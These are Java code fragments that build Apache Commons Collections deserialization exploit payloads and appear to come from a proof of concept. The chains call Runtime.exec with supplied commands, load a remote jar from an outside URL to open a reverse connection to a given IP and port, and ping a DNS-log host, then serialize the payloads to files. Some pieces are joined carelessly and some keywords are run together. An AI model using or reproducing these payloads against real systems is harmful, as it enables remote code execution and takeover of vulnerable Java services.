public Object get(Object key){ // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
publicstatic Object Reverse_Payload(String execArgs)throws Exception { final Transformer[] transforms = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transforms); Map innermap = new HashMap(); innermap.put("value", "value"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class .forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Retention.class, outmap); return instance;
public InvocationHandler getObject(final String ip)throws Exception { // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[] { new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), // getConstructor class.class classname new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), // newinstance string http://www.iswin.org/attach/iswin.jar new InvokerTransformer( "newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL( "http://www.iswin.org/attach/iswin.jar") } } }), // loadClass String.class R new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "R" }), // set the target reverse ip and port new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }), // invoke new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new String[] { ip } }), new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler InvocationHandler invo = (InvocationHandler) getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Retention.class, lazyMap); //generate object which implements specifiy interface final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this .getClass().getClassLoader(), new Class[] { Map.class }, invo)); final InvocationHandler handler = (InvocationHandler) getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Retention.class, mapProxy);
publicstatic Field getField(final Class<?> clazz, final String fieldName) throws Exception { Field field = clazz.getDeclaredField(fieldName); if (field == null && clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } field.setAccessible(true); return field; }
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
final Object objBefore = CommonsCollections1.class.newInstance() .getObject("10.18.180.34:8080");
//deserialize(serialize(objBefore)); File f = new File("/Users/iswin/Downloads/payloadsfinal.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(objBefore); out.flush(); out.close(); } }
publicstatic Object Reverse_Payload(String ip, int port)throws Exception { final Transformer[] transforms = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), // getConstructor class.class classname new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), // newinstance string http://www.iswin.org/attach/iswin.jar new InvokerTransformer( "newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL( "http://www.iswin.org/attach/iswin.jar") } } }), // loadClass String.class R new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "R" }), // set the target reverse ip and port new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }), // invoke new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new String[] { ip + ":" + port } }), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transforms); Map innermap = new HashMap(); innermap.put("value", "value"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class .forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Retention.class, outmap); return instance;
public InvocationHandler getObject(final String ip)throws Exception { final Transformer transformerChain = new ChainedTransformer( new Transformer[] { new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new String[] { ip } }), new InvokerTransformer("openStream", new Class[] {}, new Object[] {}), new ConstantTransformer(1) };
// final Map innerMap = new HashMap(); // // final Map lazyMap = LazyMap.decorate(new HashMap(), // transformerChain);
// this will generate a // AnnotationInvocationHandler(Override.class,lazymap) invocationhandler InvocationHandler invo = (InvocationHandler) getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Override.class, LazyMap.decorate(new HashMap(), transformerChain));
final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this .getClass().getClassLoader(), new Class[] { Map.class }, invo));
final InvocationHandler handler = (InvocationHandler) getFirstCtor( "sun.reflect.annotation.AnnotationInvocationHandler") .newInstance(Override.class, mapProxy);
publicstatic Field getField(final Class<?> clazz, final String fieldName) throws Exception { Field field = clazz.getDeclaredField(fieldName); if (field == null && clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } field.setAccessible(true); return field; }
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
final Object objBefore = CommonsCollections1.class.newInstance() .getObject("http://abc.333d61.dnslog.info/tangscan/iswin.jpg");
File f = new File("/Users/iswin/Downloads/hello.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(objBefore); out.flush(); out.close();